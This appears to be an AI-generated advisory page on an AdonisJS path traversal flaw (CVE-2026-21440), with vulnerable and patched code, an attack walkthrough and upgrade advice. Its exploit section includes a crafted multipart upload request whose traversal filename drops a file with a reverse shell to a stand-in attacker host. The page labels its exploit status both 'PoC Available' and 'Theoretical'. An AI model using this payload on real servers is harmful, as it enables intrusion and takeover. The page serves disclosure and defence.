CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2026-21440
CVSS 8.8

AdonisJS Path Traversal: When 'Move' Actually Means 'Pwn'

Alon Barad
Alon Barad
Software Engineer•January 2, 2026•5 min read
PoC Available

Executive Summary (TL;DR)

The AdonisJS bodyparser trusted user-supplied filenames by default. An attacker could send a file with a name like `../../../../var/www/shell.php` to overwrite critical system files or deploy web shells. The fix enforces random filenames unless explicitly overridden.

A critical Path Traversal vulnerability in the AdonisJS framework allowed attackers to escape upload directories and write files anywhere on the server filesystem. By manipulating the filename in multipart requests, an attacker could turn a standard profile picture upload into Remote Code Execution.

The Hook: Trust Issues in Node.js

AdonisJS is often touted as the 'Laravel for Node.js'—a fully-featured, opinionated framework that saves developers from the chaotic Wild West of the npm ecosystem. It handles the heavy lifting: routing, ORM, and, of course, file uploads. But as any seasoned security researcher knows, whenever a framework tries to be too helpful, it often accidentally holds the door open for attackers.

In the world of web security, there is one golden rule: Never Trust User Input. Most developers know to sanitize SQL parameters and escape HTML output. However, file uploads remain a persistent blind spot. We often treat the content of the file as the threat (malware scanning, etc.), but we forget that the metadata—specifically the filename—is just another untrusted string controlled entirely by the client.

CVE-2026-21440 is a classic example of this oversight. It resides in the @adonisjs/bodyparser package, the component responsible for parsing multipart/form-data requests. The vulnerability isn't some complex memory corruption or a race condition; it's a simple logical flaw in how the framework decided where to put a file when the developer didn't explicitly say so.

The Flaw: A Dangerous Default

The vulnerability hides in the MultipartFile.move method. When a developer builds a file upload feature, they typically call file.move(destinationPath). The framework then takes the temporary file and moves it to the final destination.

Here is where the logic went wrong: If the developer did not specify a target filename in the options object, AdonisJS tried to be helpful by defaulting to the clientName. The clientName is derived directly from the Content-Disposition header sent by the browser (or Burp Suite).

Under the hood, the framework used path.join(destination, clientName). If you know your Node.js, you know that path.join resolves relative paths. If destination is /var/www/uploads and clientName is ../../../etc/cron.d/pwn, the resulting path is /etc/cron.d/pwn. The framework blindly trusted that the client wouldn't try to walk up the directory tree.

The Code: The Smoking Gun

Let's look at the diff. It’s painful in its simplicity. The vulnerable code explicitly opts into using the unsafe input as a fallback.

Vulnerable Logic (Before):

// src/multipart/file.ts
 
// If 'name' is not provided in options, use 'this.clientName'
options = Object.assign({ name: this.clientName, overwrite: true }, options)
 
// path.join resolves the traversal characters
const filePath = join(location, options.name!)

It’s like locking your front door but leaving a key under the mat, and that mat is labeled "Please Rob Me." The patch, introduced in version 6.19.2, completely changes this philosophy. Instead of trusting the client, the framework now generates a cryptographically random filename by default.

Fixed Logic (After):

// src/multipart/file.ts
 
// Generate a random 40-char string. Client input is ignored.
options = Object.assign(
  { name: `${string.random(40)}.${this.extname ?? 'unknown'}`, overwrite: true },
  options
)
 
const filePath = join(location, options.name!)

This change breaks the exploit chain because even if I send ../../../shell.php, the file is saved as uploads/a1b2c3d4...unknown. The traversal characters are gone, replaced by entropy.

The Exploit: Escaping the Cage

Exploiting this is trivial and requires no authentication if the upload endpoint is public (e.g., a registration page avatar upload). We don't need fancy binary exploitation skills here; we just need to manipulate headers.

The Attack Chain:

  1. Recon: Identify an endpoint that accepts file uploads and uses the standard AdonisJS file.move() method without renaming the file.
  2. Craft the Payload: Create a malicious file (e.g., a webshell or a reverse shell script).
  3. The Traversal: Intercept the request and modify the filename parameter.
POST /upload/avatar HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
 
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="../../../public/shell.js"
Content-Type: application/javascript
 
require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1');
------WebKitFormBoundary--
  1. Execution: The server saves the file to /public/shell.js (assuming the webroot is accessible). The attacker then simply navigates to https://target.com/shell.js to trigger the Node.js code execution. If the web server doesn't execute JS files directly, the attacker might target /root/.ssh/authorized_keys (if running as root) or a cron job location.

The Impact: Why You Should Panic

Arbitrary File Write is often one step away from Remote Code Execution (RCE). In the context of a Node.js application, this is catastrophic.

If the application is running with root privileges (which, sadly, many containerized apps do), the attacker can overwrite /etc/passwd, modify system binaries, or add SSH keys. Even with a low-privileged user, an attacker can overwrite application source code (index.js) or configuration files to inject backdoors that persist across restarts.

Because this vulnerability affects a core framework component, every single file upload endpoint in an unpatched AdonisJS application is a potential entry point. It turns a "contact us with attachment" form into a "give me a shell" button.

The Fix: Closing the Window

The remediation is straightforward: Update immediately.

Run the following command in your project root:

npm update @adonisjs/core

You need @adonisjs/core version 6.19.2 or higher. This version pulls in the patched bodyparser logic.

Developer Note: If your application logic relies on preserving the original filename (e.g., you want users to see "report.pdf" instead of "random-hash.pdf"), you now have to opt-in to that behavior manually. However, do not just pass clientName back into the options. You must sanitize it first:

import { basename } from 'path'
 
// SAFE: Strip directory paths before moving
await file.move(app.makePath('uploads'), {
  name: basename(file.clientName)
})

Using basename() ensures that any directory traversal attempts are stripped out, leaving only the filename itself.

Official Patches

AdonisJSCommit fixing the default filename generation
AdonisJSOfficial Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

AdonisJS v6 applications (core < 6.19.2)AdonisJS v7 experimental applications (core < 7.0.0-next.18)Any Node.js app using @adonisjs/bodyparser directly (< 10.1.2)

Affected Versions Detail

ProductAffected VersionsFixed Version
@adonisjs/core
AdonisJS
< 6.19.26.19.2
@adonisjs/bodyparser
AdonisJS
< 10.1.210.1.2
AttributeDetail
CWE IDCWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Attack VectorNetwork (Remote)
CVSS (Est.)8.8 (High)
ImpactArbitrary File Write / RCE
Exploit StatusPoC Available
Component@adonisjs/bodyparser

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1505.003Server Software Component: Web Shell
Persistence
CWE-22
Path Traversal

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Exploit Resources

Known Exploits & Detection

TheoryTheoretical exploit chain confirmed by vendor patch analysis.

Vulnerability Timeline

Vulnerability Timeline

Vulnerability identified and patch committed
2026-01-02
Public advisory (GHSA-gvq6-hvvp-h34h) released
2026-01-02
AdonisJS Core v6.19.2 released with fix
2026-01-02

References & Sources

  • [1]GitHub Advisory: Path Traversal in @adonisjs/bodyparser
  • [2]CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.